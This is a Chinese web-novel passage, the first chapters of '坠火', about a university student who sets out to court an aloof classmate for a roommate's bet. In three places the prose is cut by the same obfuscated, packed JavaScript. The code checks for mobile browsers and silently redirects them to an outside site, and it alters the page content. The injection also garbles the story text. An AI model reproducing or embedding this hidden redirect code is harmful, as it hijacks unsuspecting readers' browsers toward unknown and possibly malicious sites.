《坠火》 1. 下坠chapter “白榆同学，作为你的心理老师，我想我有必要提醒你一下，你的这种恋爱观是不健康而且极其不负责的。” 四楼教师办，白色窗框圈着窗外大片大片的浅红淡黄色枫叶，秋风一阵就把几片本就摇摇欲坠悬在枝桠上的树叶吹落，簌簌刮过落了灰的玻璃面。 多好的天气啊，白榆此刻应该跟室友在宿舍楼下打羽毛球，又或是去操场看那些上篮球课的帅气学弟们半卷起T恤露出腹肌，张扬起跳拿下一个三分。 而不是像现在这样，规规矩矩站在老师办公桌前，听她用三十六点五度的嘴巴说出如此冰冷的话。 “同学，你再这样走神的话，我就给你改五十九分了。” 白榆闻言浑身颤栗了下，立刻挪回视线转而盯着面前办公桌上拿来补交的论文。 “对不起，老师，我知道错了。” 学霸室友告诉她，这位老师是最心软的，只要她态度诚恳，言辞卑微，她一定会原谅她。 况且，她甚至写了一份三万字的论文表示诚意。 这才第十一周，教务系统还没开始录分数，想要力挽狂澜把六十分的成绩提到九十加，根本算不上什么难事。 白榆已经拿了两年的奖学金了，今年大三除了这门课之外的老师对她评价都不错。 接近四点零的绩点分数绝对不能就这么被一门均分九十的选修课拉垮。 心理老师无奈叹了口气，拿过桌上的论文翻看了几眼。 白榆偷偷抬头瞟着她的表情，见她蹙眉立刻紧张了起来，大气都不敢喘。 “白榆同学，我这门课的课程作业并不是论文。” 她当然知道，这门课的结课作业是找到一位志同道合的男同学发展恋爱关系，最后写一份恋爱日记再上交一张照片。 可她也没说，这最后的恋爱对象一定要和开学那会儿发展关系的男生是同一个。 开学那个白榆只谈了一周便分手，现在联系方式都再找不到。 老师只怪她不够专一，仅十一周就换了两个男朋友。 但老师不知道，她换的又岂止是两个。 白榆哪敢顶嘴，低着头小声应着，“是，但是……” “而且，你这论文的题目是什么意思？《有关当代女大学生针对不同类型伴侣的感兴趣程度研究》，这个第一章的调研数据怎么得出来的？里面你所列举的这十八个类型你都谈过吗？” “啊是……”白榆点了点头。 “不是……”看见老师的表情之后，她又摇了摇头。 该死的学霸室友，她明明和她说，只要写她擅长的就行了。 可老师的眉头现在皱的能够夹死一只苍蝇。 “我看你还是没有建立一个正确的恋爱观。” 老师说着，把她的论文合上放在一边。 白榆依然低着脑袋，身后的办公室门被人咚咚轻敲了两下，紧接着余光瞟到两条穿着黑色运动裤的长腿从她身侧掠过。 实在没忍住抬头看了眼，男生的身形高挑，约莫有个一米八几，灰色的连帽卫衣一尘不染，手里拿着一沓论文走到对面教师的办公桌旁。 只看背影就是个帅哥的苗子，白榆光凭感觉就能想象到他定然长着一张毫不逊色的脸。 片刻失神过后，她继续着自己的检讨。 “抱歉老师，那我重新写一篇再过来给您可以吗？” “不用了，我这门课也不是想要教你如何写论文的，看论文的格式，你成绩应该不错吧。” 白榆抿着唇点头，用一双杏眼可怜兮兮回应着老师的目光，“嗯，选修课成绩很低的话，我可能拿不到今年的奖学金了。” “这样吧，距离教务系统录成绩的时间还早，你找时间去和你的男朋友一起拍下十张独特的照片，并在照片后面附上你们的感受，这门课的成绩我会帮你提到均分。” “可是，我……” “老师，正好五十二份，我们班的论文交齐了。” 白榆的话被一道清冽的声音打断，视线再次被对面背对着她的男生吸引。 “可以，麻烦你了。” “应该的。” 那男生淡淡应了声，紧接着转身过来。 他的骨相优越，突出的眉骨，高挺的鼻梁，略显锋利的下颌线，透着冷峻的气息迎面而来。 但那张优渥到惨绝人寰的面容没让白榆激动，反倒是让她瞬间没了兴趣。 原来是靳望舒——完全不认识的老熟人了。 想来也是，这种级别的帅哥，现在学校里面可是越来越少。 除了他，怎么会还有她没谈过的？ 心理老师看她迟疑又询问，“有什么问题吗？” 白榆回神，“没有，老师。” 能察觉到靳望舒的目光在她身上停留了一瞬，大抵是因为发现了她刚刚在看他。 不过很快，他就迈着步子离开了办公室。 片刻，白榆抱着自己被“退货”的论文，眼神哀怨着走出教师办，一边拿着手机寻找着前男友的联系方式。 是的，太不巧了，老师要求她和男朋友去拍照片，但她上午才跟他分了手。 分手理由是什么来着？ 好像是因为早上吃饭的时候她说想吃咸的豆腐脑，但前任哥非说甜的好吃。 早餐观不合。 他们再也不能一起吃早餐了。 不能一起吃早餐的恋爱谈的有什么趣儿？ 两人都是爽快的人，果断选择拜拜。 白榆咬着下唇，心想哪有人不为学分绩点奖学金折腰的，不就是找前任复合几天吗？ 想必对她来说是易如反掌的事儿。 心理建设做足之后正好找到前任哥的聊天框，她斟酌着打下一个字—— 白榆：【在？】 前任哥：【？】 秒回！看来有戏！ 他肯定也在想她吧，此刻提出复合简直是上上策！！！ 白榆：【商量件事？】 前任哥：【？？】 白榆：【下周我们再分手行吗？】 前任哥：【？？？】 白榆看着那一连几个问号心里涌上一团火，忍不住想着怎么才分手一上午连字都不会打了？ 不过念着自己的目的，她忍耐下来继续好声好气地商量—— 白榆：【我这门课还想及格。】 前任哥：【不行喔。】 白榆：【？】 前任哥：【(图片)(图片)】 他发来两张和陌生美女贴贴的亲密合照。 前任哥：【刚答应了艺术系学姐的表白呢。】 “……” 差点忘了，这位也是表白墙上炙手可热的人物，打个球都能看见四五个人捞他。 白榆深吸一口气，知道没了指望之后鼓着腮帮打字出气。 白榆：【我祝你下辈子长得像问号一样刁钻。】 前任哥：【？】 白榆被气笑，顺手给他把备注改成【问号哥】之后拉入自己名为【遗憾退场】的分组名单。 抬腿一边垂头丧气地走着，一边在宿舍群里大声哀嚎散布消息。 【特大新闻（ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320899|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喇叭）特大新闻（喇叭）：恭喜白榆同学辛辛苦苦熬了一夜的三万字论文成功被毙！！】 一声应下，吃瓜群众当即赶来—— 【什么什么？是喜讯！喜讯！！！】 【什么好消息？让我们庆祝甜甜的论文成功通过（鼓掌）】 【祝贺啊祝贺（烟花）甜甜你吃什么？我们在餐厅点饭呢。】 “……” 她们真的不愿意睁开眼好好看看。 一群敷衍的人。 白榆愤恨地踏入正好开门的电梯，双手疯狂戳着屏幕为自己正名。 全然没注意到身侧站着一个人。 电梯门缓缓合上，头顶忽然传来声没什么温度的问话，“你去几楼？” 白榆下意识答：“我吃烤盘饭。” “……？” 电梯门又打开。 白榆听见动静疑惑抬头。 比靳望舒那张神颜更快映入眼帘的是他锋利的眉和冷峻的表情，她被吓了一瞬。 后者淡淡扭过头，抬手先按下六楼的按键，提醒人的语气也是那般平淡，“下行的电梯在隔壁。” “……！？！” “抱，抱歉。” 白榆慌乱说着，接着逃一般的跑出了电梯。 * “所以，你的意思是，靳望舒知道你今天中午吃烤盘饭吗？” 餐厅二楼，许仪苏拿了筷子过来分给大家，正好听白榆讲完她上午的惨淡遭遇。 “这不是重点，重点是我的论文被毙了，而且，我现在去哪找个跟问号哥长得一样的人完成我的作业？” “为什么要找跟他长得一样的？”杨静栖把手腕上的粉色兔子皮筋递给一旁的简琳，纳闷问着。 她一头乖巧短卷发，却常年在手腕戴着不同样式的可爱皮筋。 “笨啊，因为期末的照片已经交到老师那里了呗。”简琳把利落的披肩发扎起来又一边解释。 “这没什么的吧，回头让琳琳去老师那帮你把照片换了就行了，那么多人，她肯定记不住的。”许仪苏小心整理着自己淡雅的白色长裙，确认椅子干净之后才坐下。 “这样行吗？”白榆小心看着简琳。 “当然不行，我是学委，这种事情怎么能做呢？” 白榆蔫了一瞬，双手合十眼巴巴看着简琳，眼泪都已经在眼眶里面打转。 她的长相无害，一头亚麻灰的中长发带有漂亮的自然卷，薄薄的刘海包裹着她稍圆一些的小脸，一双眼睛里面含着宝石般通透的淡灰棕色瞳孔，鼻梁高挺轮廓清晰，鼻头小小的，长睫毛扑扇两下看的人心都要化掉。 小名“甜甜”也是因此得名。 可惜，她装可怜的惯用伎俩已经在这群相处了两年的室友身上占不到任何便宜。 简琳头都没抬，抬手竖起两根手指，“两杯奶茶。” “成交！”白榆立刻倾身握住她的手指。 杨静栖礼貌举手，“那么我提问！你的新对象在哪？” 白榆不以为意，“周围随便找个帅的好了。” 话落，几人同时扭头在餐厅里面寻找着具有帅气属性的男同学。 他们上午没课，特意提早了半小时过来吃饭，这会餐厅里面人不多，稀稀拉拉坐了也就一半的位置。 “啊有了！那边！” 杨静栖率先发现目标，指着烤盘饭的窗口排队的几人。 白榆一眼瞟到其中身形最出挑的那个，穿搭是……黑色运动裤灰色连帽卫衣。 这位帅哥—— 她是不是刚才在哪儿见过？ 2. 下坠chapter “换一个。” 白榆立刻转头扒拉了口饭到嘴里。 同桌的其余三人几乎异口同声，“为什么？” “那是靳望舒。” “噢那是靳望舒啊。” “原来是甜甜谈不到的男人啊。” “我记得甜甜第一次看见他照片的时候脱口而出的两个字是什么来着？” “想谈。” “对就是这个！” 简琳和杨静栖为她们的默契击了个掌。 白榆：“……” 她瞪了几人一眼，“快吃饭。” 靳望舒这个名字从大一报道的那一天就被人传开了，作为东都市理科状元入学外加那张妈生神颜，想不被人注意到都难。 而当她如简琳说得那般想法的时候，只看见了靳望舒的脸。 后来才得知他是个生人勿近的冰山性格，她摇了摇头果断没了意思。 他看起来不会追她的样子。 而她呢？她从来不追人的。 算起来，靳望舒还是第一个在白榆这里还没认识就已经遗憾退场的人。 后来路上几次遇到忍不住多看两眼，不必说话都能感觉到他周身释放的冷气。 家生仆人齐志虹有幸和他一个寝室，他曾经对她说，“我们宿舍非常省电。” 白榆不理解，“他真的已经进化到可以代替空调释放冷气了？” “当然不，只是他气压太低了，同在一个屋檐下的我们喘不上来气，就不怎么在宿舍待着了。” 齐志虹讲得绘声绘色的，导致白榆有些怕他。 回想起刚才在电梯内的大胆发言，她忽然缩了下身子。 眼看靳望舒已经买好饭端着盘子在隔壁桌落座，白榆三两口把剩下的饭吃完，火速端着盘子起身。 白榆：“我要去拿个快递，先走了。” 简琳：“噢路上不用太小心，最好要摔倒了。” 杨静栖：“正好下课时间，记得看看有没有合适的帅哥。” 许仪苏：“我也有个，你等我会儿，我和你一起去。” “不用了，你把码发我，我帮你拿！” 说着，白榆已经走到了楼梯口。 真是的，要不是靳望舒离得太近了，帮忙拿快递高低值八毛钱跑腿费。 白榆在心里暗暗记下这笔账——靳望舒欠她两杯奶茶。 明知对方不会还但是还偏要记账的好处就是，她可以随意涨价。 学校的快递站和寝室在相反的方向，白榆走了好一会儿才到。 拿了快递扫码出库，抱着七八个盒子在路上小心走着。 早知道拿个袋子了，忘了前不久双十一大促，她剁手买了许多东西。 快递站旁边就是篮球场，白榆下意识扫过去一眼。 按理说，这会场上应该人不多。 此刻却异乎寻常，角落的一个篮球架下簇拥着不少人。 目光透过人群，场中央穿着七号球衣的高个男生运球动作流畅，带着球扬起手，起跳，扣篮。 额前的发掀起露出他光洁的额头，正午的阳光耀眼，在他高挺的鼻梁和优越的骨相打下阴影，引起旁边阵阵惊呼。 挺巧。 白榆抿了抿唇，走到场侧的花坛边缘坐下。 怀里的几个盒子放在一旁，低垂着眼抬手遮着光线从里面找出一个装着零食的，当场徒手打开从里面掏出一小包妙脆角，撕开包装悠闲吃着。 眼前就是免费的劳动力，人不偷懒枉少年。 百无聊赖等着齐志虹下场，一边打量他新染的红色头发。 好像还稍微烫了点，看起来比之前发量多了不少。 不愧是她甜甜大王从小的跟班，如今也出落成现在这般帅气模样。 白榆点了点头，满眼都是欣赏。 她妈妈白寻茹和齐志虹的妈妈是闺蜜，两家从小就不分彼此的住在一起。 这就导致他们两人从幼儿园同班一直到小学初中高中，大学依然是同一个学校，好的像是亲兄妹。 她和齐志虹更是生日就差了两天。 白榆仗着自己早出生两天，打小没少用自以为的姐姐身份压榨齐志虹替她干活。 但齐志虹脾气好，他从来不跟她计较。 就如同此刻，面对着几个送水给他的女生，他没任何架子和人家道谢解释，对着人家礼貌微笑之后才穿过散场的人群朝着她这边走过来。 齐志虹张开双臂，俯身抱了她一下。 “听说你又分手了？” 白榆忽然有点想哭，她扁着嘴嗯了一声，没心情再吃剩下的半包妙脆角，用力塞到了齐志虹手里。 “你又知道了。” “嗯，看见他发了跟别人的官宣合照。” 齐志虹坐在一旁，抬手轻轻在白榆发顶揉了揉表示安慰。 “你微信好友到底有多少？” 知道齐志虹人缘好，但这也实在太好了点，这学校里面好像就没他不认识的人似的。 齐志虹耸耸肩，“没注意过，那你现在打算怎么办？” 但凡和白榆稍微熟悉一点的人都知道，她得了一种特别奇怪的心理疾病——恋爱上瘾症。 外在的表现就是她不能缺少男朋友，哪怕根本不联系，也必须有一个人占着那个位置，否则她就会觉得很不安。 齐志虹见过她发病，岂止是感觉不安，那段时间她吃不进饭，整个人都瘦了一大圈，干什么都提不起兴致，行尸走肉一般，过马路的时候还不小心出了车祸。 幸而对方刹车及时，她没什么大事，但因为太瘦了腿骨很容易就受了伤，还是在医院住了一阵。 后来也看过心理医生，但医生也说如果保持恋爱状态能让她觉得舒适的话，这会比吃药有效的多。 齐志虹难免头疼，“不然标准降低点呢？在学校两年了，这顶级的帅哥也就那么几个，能谈的都谈过了，不好找新的了。” 他沉默了会儿，忽然挑了下眉，“实在不行，我这儿就剩一个了。” 白榆眼皮一跳，忽然有种不好的预感。 果然，“靳望舒，就他你还没谈过。” 白榆沉默起身，看了看齐志虹，又看了看自己旁边码成小山堆的快递盒。 “帮我搬。” “……” 齐志虹只能送她到宿舍楼下，白榆独自抱着一大堆快递走了四层楼上去。 踢开宿舍的门，许仪苏立刻迎了上来，“谢谢甜甜，但也不早说你自己有那么多，都说跟你一起去了。” 把快递撂在一旁的地上，白榆躺倒在自己的沙发椅上，不停喘着粗气，“我也是到了才知道我有这么多。” 杨静栖躺在床上翘着脚，“怎么样？路上看见帅哥没？” “齐志虹算不算？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320900|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那可太算了。” 但谁都知道，兄妹是不能结婚的。 白榆忍不住吐槽，“我看他也是疯了，竟然都开始给我推荐靳望舒了。” 简琳表示，“他的人脉都让你榨干了，可见你这两年得换了多少。” 白榆翻到自己微信列表看了眼【遗憾退场】分组的人数。 “据不完全统计，也就不到一百吧。” “那就是九十九个了！” “这确实不能怪齐志虹同学，他能在这里找到一百个顶级帅哥双手奉上，已经尽力了。” “是啊，内娱选秀都选不出来一百个C。” 三位室友的眼神忽然在空气中交汇片刻。 许仪苏上前戳了戳白榆的肩，“要不你就考虑一下榜一吧？” 什么榜一？ 校草榜一！ 除了靳望舒还能是谁？ 白榆背过身，满脸抗拒，“我从来不追人的。” 简琳出声，“事成我给你五百。” 白榆拍桌而起，“成交！” 她不下地狱谁下地狱！ 此言一出，杨静栖急的都从床上爬了下来，“怎么办怎么办？第一步干什么？先问齐志虹要个他的微信吧？” “顺便再要个课表，听说他们理科班很多大课的，正好追人顺便帮人代课还能赚点。” “没记错的话应该是十六周录选修课成绩，你还有一个月的时间，最后得留一周时间去拍照。” “那她这一个月怎么办？不无缝衔接她犯病怎么办？” “那就先谈后追呗，这段时间你就先假装他是你男朋友，反正肯定能追上，我感觉应该没太大问题。” “主要是也没有更快更好的人选了，实在不行先吃两天药顶一下，我记得上次陪你去医院开的药还有的剩。” “行吧，那甜甜，你觉得不舒服一定记得跟我们说。” “……” 她现在就挺不舒服的。 给钱的怎么比她这个赚钱的还激动？ 谁给她们打鸡血了吗？ 不过这次不用问齐志虹要靳望舒的联系方式，她有。 而且，没记错的话，当初还是她把他的微信号推给齐志虹的。 手指划动几下屏幕，之后悬停在一个微信名为黄色星星表情的联系人上方。 她没给过他备注。 记忆中是大一刚报道那天两人就加上了好友，但是具体是怎么加上的，白榆有些记不清了。 反正之后一直也没说过话，两年来经过无数次碰面之后的第一句话还是上午在电梯。 他问她去几楼。 她说她要吃烤盘饭。 白榆抬手拍了拍脑门。 有些事情还真是不能细细回想。 希望没给靳望舒留下一个听不懂人话的智障印象。 点开名片细看，靳望舒的头像是纯黑背景下的一轮弯月，月光映在漆黑的水面泛着金沙般的光芒。 标准的理科生头像。 和他的昵称一样，似乎这么多年从未换过。 白榆这才记得清楚。 她给他改了个备注——【五百】 忽略耳边室友闹着给她支招的声音，白榆盯着那个诱人的备注火速出击。 仅用十秒钟就编辑了一条消息发出去。 【帅哥，谈恋爱吗？】 3. 下坠chapter “都别吵了，快来看，甜甜给靳望舒发消息了。” 许仪苏注意到一直没吭声的白榆，凑近看了眼才发现她正在闷声办大事。 “什么什么！？” “甜甜发什么了？” 争论的声音猛然被打断，三人一齐围到了白榆的身边。 屏幕上的那条绿框消息还很新鲜—— 【帅哥，谈恋爱吗？】 “……” “甜甜，虽然但是，这样是不是太直接了点儿？” “是啊！他不答应岂不是没戏了？” “而且，就他那脾气，八成不会答应吧。” “也不一定，没准咱们甜甜魅力大。” 四双眼睛直勾勾盯着小小的手机屏幕上那条刚发出去的新鲜消息，紧张等着对方的回复。 白榆吞了吞口水，她求靳望舒给她点面子。 好歹这是她第一次追人。 叮咚叮咚，消息提示音忽然响了下。 屏幕上跳出一条来自【五百】的新消息—— 【你哪位？】 “……” 她早说了，她没什么追人的经验。 白榆还未来得及失落一下，围着她的三位室友已经开始想尽办法替她说话。 “不知道你是谁都留着你的联系方式，这肯定有戏啊。” “换个角度想，其实他没拒绝你。” “就是就是！而且一分钟内就回了你的消息诶！我听杨敬津说他给靳望舒发消息半天都等不到回复的！” “不会吧栖栖？你哥跟他好歹也算室友啊，消息都不回也太不礼貌了。” “那也不一定就是靳望舒的问题，栖栖，你哥是不是又在寝室给他们推销饮料套餐赚钱了？” “这我不清楚诶，不过我们家饮料厂又出了新品，等下周我带来给你们尝尝鲜，记得帮忙写好评噢！” “等会等会，扯哪儿去了。” 简琳拍拍白榆的肩，“别灰心啊甜甜，勇敢的告诉他你是谁，他肯定一下子就能记起来你。” “那肯定，我们甜甜也是榜上有名的好不好？” “平时校园里面碰见那么多次，我就不信他对你一点印象都没有。” 是这个道理。 不过，白榆狐疑扭过头看了简琳一眼。 她最近是不是兼职赚的钱太多花不出去了？怎么就这么上赶着送这五百？ 被三人的眼神催促着，白榆来不及表明自己的那点疑心，想着到底应该怎么跟靳望舒介绍自己。 直接说名字？万一他真的没印象怎么办？毕竟他那个冷淡的脾气也不像是会关注什么校花校草榜的。 说她是个不知名的美女？会不会太自恋了点？而且他也不一定就对美女感兴趣。 啊，有了！ 白榆打定主意，在屏幕上自信打下三个字发送。 【烤盘饭。】 上午才刚碰到的，就不信他那个学霸的脑子会不记得。 靳望舒这次回复的更快。 【的确是月底了。】 “？” 白榆眉毛一跳，他什么意思？ 【可以，明天请你吃。】 “……” 他以为她在要饭。 白榆恨恨咬着下唇，“我才不是在要饭！！！”几个字打在聊天框，却又被她一个字一个字删掉。 转而发了另外一条消息， 【餐厅二楼，说话算话。】 【一定。】 得到靳望舒肯定的回复，白榆气鼓鼓地起身，拿着个抱枕用力摔在椅子上，又打了好几拳撒气。 半晌，她缓缓舒了口气出来，身后的三位还在分析靳望舒的想法动机。 蓦然丢了一个问题给她，“甜甜，你怎么想的？” 她还能怎么想？ “不吃白不吃。” “那你就不怕吃了也白吃？” “但是白吃谁不吃？” “……” 事实上，白榆第二天就后悔了。 她宁愿不占这个便宜，也不想和靳望舒共进午餐。 一上午的课听得她头昏脑胀，吃饭一向积极的她这次走出教室的脚步却拖拉的厉害。 齐志虹还跟她说过，他们都不跟靳望舒一起吃饭，他总是自己一个人去吃。 虽然帅哥难免孤僻，但她向来觉得自己和孤僻的帅哥没有缘分。 至于这次的迎难而上。 全靠简琳那五百块。 室友都没等她，下课铃一打就抱成一团跑了出去。 理由是她们今天要去吃新开的麻辣烫，去晚了排队起码半小时。 白榆吞了吞口水，忽然想到了一个不错的借口。 路上一边加快了脚步，一边拿出手机翻出靳望舒的微信。 【我今天忽然想吃麻辣烫了，下次再一起吧。】 手机刚息屏就嗡嗡两声。 【也请。】 “……” 他人未免太好了点。 白榆头疼地寻找借口，【新开的那家要排队很久的，我现在过去都要排到半小时后了，我下午没课，你下午也有空吗？】 他下午满课。 昨天杨静栖就给她要了他们班的课表。 【我现在就在窗口前排队，前面就俩人。】 【你吃什么味儿？】 白榆的脚步忽然放缓，【番茄加辣谢谢。】 【菜怎么选？】 【不吃绿色的菜，别的一样来点儿，芋泥丸子和紫薯丸子喜欢，多要两个。】 【行。】 白榆没再回复。 感叹自己没骨气禁不住快速吃到免费麻辣烫的诱惑，同时脚步愈发地快。 怎么和靳望舒相处已经不再重要，没吃早饭的她此刻只想赶紧找到位置坐下，低头把香喷喷的麻辣烫吃个精光。 白榆到餐厅二楼的时候，这里面已经挤满了人，空位都难找到。 麻辣烫的窗口人满为患，队伍已经排了个拐弯。 简琳她们来的早，白榆瞟到她们正坐在窗边的位置。 杨静栖看见她对着她招了招手，紧接着好心指了指她们身后那桌。 桌面上放着三碗热气腾腾的麻辣烫。 怎么还多个人？是人太多了拼桌的吗？ 白榆站在桌子旁边正无措着，忽然肩膀被人拍了下。 她下意识以为是靳望舒，吓得缩了下肩膀，僵硬扭头才发现齐志虹用相当诡异的眼神看着她。 他似乎有些难以置信，带着那种吊儿郎当的腔调问，“甜儿，你什么时候改行要饭了？” “干妈给你的生活费还不够花？你问我要啊，我这还多呢。” 白榆不知道怎么解释，“这是一个意外。” “那你呢？你不是说自己从来不跟靳望舒一起吃饭吗？” “这也是一个意外。” “……” 齐志虹指了下里面的位置，“那碗是你的，阿靳去选的时候我就觉得奇怪，越看越觉得那像你的口味，少有人喜欢在咸汤里面加那么多甜的，而且又那么讨厌绿色的菜。” “他人呢？” 知道齐志虹跟他们在一桌，白榆稍微放松了些，她先一步走到位置上坐下。 “去拿筷子了。” “怎么不早点拿？” “他说害怕我们两个偷吃，这个真不是我说他，早就说了我不是那种人了。” “我也不是。” 齐志虹看着白榆的眼神带着探究。 忽然，她的肚子“咕叽”一声。 她秒认，“好吧我是。” 她太饿了，“我能自己去拿一双吗？” 齐志虹耸了耸肩，“我只能说，他脾气不太好。” “少惹他。” 行吧，谁让这顿是他请。 得听话。 白榆觉得奇怪，齐志虹对于她出现在这里的惊讶一闪而过之后便再也没出现过。 似乎也不好奇她和靳望舒之间到底是怎么个意外。 这不像他。 为了做好这个比她小了两天的哥哥，齐志虹从小就对她有特别大的照顾欲。 平时比她妈管的都多。 这次竟然随意一问就放过。 白榆正想开口问问怎么回事，余光却瞟到不远处穿过人群走来的颀长身影。 她连忙闭上嘴巴，紧张的吞咽着口水。 靳望舒很快走到桌边，他淡淡瞥了白榆一眼，随后递给她一双筷子。 他没说话，这倒是像他。 捏着筷子尾部的手指白皙修长，白榆礼貌接过，“谢谢。” 靳望舒的语气很淡，“不用。” 他好心嘱咐，“下个月记得省着点花。” 白榆抿抿唇，生生吞下这份误解。 要是被齐志虹知道她第一次追人就被误会成要饭，那才更丢人。 这顿饭没白榆想象中那么难熬，但那之后靳望舒没再说过一句话，也没再看她一眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320901|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都说学霸的时间比海绵中的水都难挤，可他也没如传闻中那般。 吃饭都要抱着电脑写论文，争分夺秒分析数据制作表格。 相反，他吃得格外的慢。 白榆已经吃饱，靳望舒还剩下半碗。 好歹是被请客的那个，白榆当然不好先起身走人。 抬头看见简琳那桌已经吃好，她们收拾餐具正准备走，路过白榆的时候还偷偷给了她一个加油的眼神。 被提醒之后白榆猛然想起，她还在追靳望舒。 吃了顿饭就走，还怎么继续发展？ 咬了咬牙想要开口再问一次微信上的话，却因为齐志虹的在场又噎住。 齐志虹注意到她的异常，“怎么了？甜甜？” “你们认识？”靳望舒忽然抬眼问。 “是啊，你看我都忘记介绍了，你说这不是挺巧的，这是我之前一直跟你说的异父异母的亲生妹妹，她也不知道怎么回事儿，还搞上赛博要饭了。” 齐志虹故意说着什么，“可能是最近分手了难过吧，也亏你恰好这次就这么好心。” 什么叫这次这么好心？ 白榆不语，只是一味的用筷子搅着碗里的汤掩饰尴尬。 不管是要饭还是分手，对她来说都不算什么很光彩的事。 齐志虹说完就端起碗起身，“我先走了，得去打印下午课上用的资料。” 可算走了。 白榆松了口气。 盯着齐志虹转身走出去一段距离，耳边忽然传来简短的提问，“你叫甜甜？” “不是，我叫白榆，榆树的榆，甜甜是我的小名。” 靳望舒点头，他放下筷子，显然是吃完了也打算走。 白榆忽然有些着急，现在不再问一次的话，回去更不好在微信开口了。 “靳望舒。”这是她第一次当面叫他的名字。 他愣了下，又“嗯”了一声。 “你能不能再好心一点？” “什么？” “你……”能跟我谈恋爱吗？ 这句话白榆才说出一个字，齐志虹忽然折返回来。 靳望舒还等着她的下文，白榆紧急转了话头，“能再请我一杯奶茶吗？” “……” 来拿手机的齐志虹正好听见这句话，他盯着她的眼神像是在说——“你什么毛病？” 恋爱上瘾也就算了，要饭怎么还上瘾？ 开口下意识的想要替白榆说句话，“阿靳，她不是那个意思……” 说了一半就被靳望舒打断。 他说，“可以。” 片刻，白榆抱着自己选的一杯草莓摇摇奶昔，站在一旁看着靳望舒付了款。 她的脸像是熟透的虾子那么红，抿着唇低头盯着自己的鞋尖发呆。 齐志虹手肘怼了怼她，凑过来小声问，“你怎么回事？” 白榆反过来撞了他一下，“你不是走了吗？回来干什么？” “我忘拿手机了。” “下次记性好点。” “下个月省着点花。” 靳望舒付完款走过来，同样的嘱咐又说了一次。 白榆不敢抬头，急急忙忙道了谢之后又匆匆找借口离开。 齐志虹环胸倚靠着墙壁站在原地，这会儿也不着急去打印资料了。 靳望舒看他一眼，之后又去奶茶店买了一杯一样的草莓摇摇奶昔，“少冰，少糖。” “我记得你并不爱喝甜的。” “可能只是不喜欢当着你的面喝。” 齐志虹被噎了下，“昨天不是说今天还吃烤盘饭吗？怎么忽然换麻辣烫了？” “想换。” 靳望舒接过刚做好的奶茶，越过齐志虹要走。 后者连忙掏出手机，“不好意思，甜甜打小胡闹惯了，今天这顿多少，我转你。” “不用，当我做慈善。” 话落，在奶茶店帮忙收银的杨敬津忽然来了兴致，“那我上周问你借的五百也不用还了？” 靳望舒瞥他一眼，“利率百分之十，从下周开始算。” “靠，你放高利贷啊！” “敢情你这慈善活动还有专门帮扶啊？” 不顾两人的诧异，靳望舒独自下了楼。 口袋里面的手机叮叮响了两声，备注为【Sweetie】发来的消息显眼—— 【才不是白吃。】 【等我下个月省好了，马上请你吃回来！】 【行吗？（渴望）】 4. 下坠chapter 【可以。】 回到寝室，白榆抱着手机看见靳望舒回复她的消息，暗暗松了口气。 幸好他没拒绝。 不然她实在不知道该怎么继续接下来的追人的计划。 虽然她目前的计划除了下次一起吃饭之外并没有什么其他的方案。 白榆懒得在怎么追人上面费脑子，匆匆翻开日历看了一眼，今天是二十九号，距离下个月一号才隔了一天。 她叹了口气，伸手从一旁的书架翻出两盒药。 这次似乎还没有发病的预兆，可能是因为一直没闲下来。 正犹豫着要不要先把药吃了，简琳她们三个正好打开寝室门回来。 白榆顺手把药藏到一边，“不是先走的吗？怎么比我回来的还晚？” “去水果摊逛了逛，我买了菠萝，甜甜你要不要尝尝？” “我买了草莓！感觉很红很甜！” “尝尝菠萝，我这有草莓奶昔。”白榆说着拿起奶昔喝了一口。 “你和靳望舒聊的怎么样？” “也就那样，他刚同意我说下个月请他吃饭还这顿的，今天都怪齐志虹在。” “他很碍事吗？” “也不算。” 但是当着发小的面告白就像是在熟人面前打领带，她怕自己实在控制不住笑出声来。 况且，她早说了自己不追人，何况是这种一直抵触的冰山性格。 害怕齐志虹发现异常之后，也想分走她的五百块 简琳感叹，“不过也是，那可是靳望舒，要是那么容易就能被追上，也不至于霸榜校草那么久还没谈过一次恋爱。” 隔天白榆满课，最近几门课面临结课，几个结课论文忙得她头大，又要筹备加下来为期两周的实训选题。 水课上都是带着电脑赶论文作业的同学，前面老师悠悠念着他十年前的PPT。 白榆坐在教室靠后门的位置，手指在键盘上敲敲打打，她就读的专业是汉语言文学。 正在赶论文的这门课叫做中国古代文学史。 大量搜集文字资料让白榆觉得疲惫，暂时休息的下课铃叮铃铃响起，教室外的脚步踢踏声吵人。 她抬手想要把后门关上，却发现自己手并不能碰到门把手。 默默收回手，白榆时不时被门外的声音吸引视线。 忽然，她稍微愣了下神。 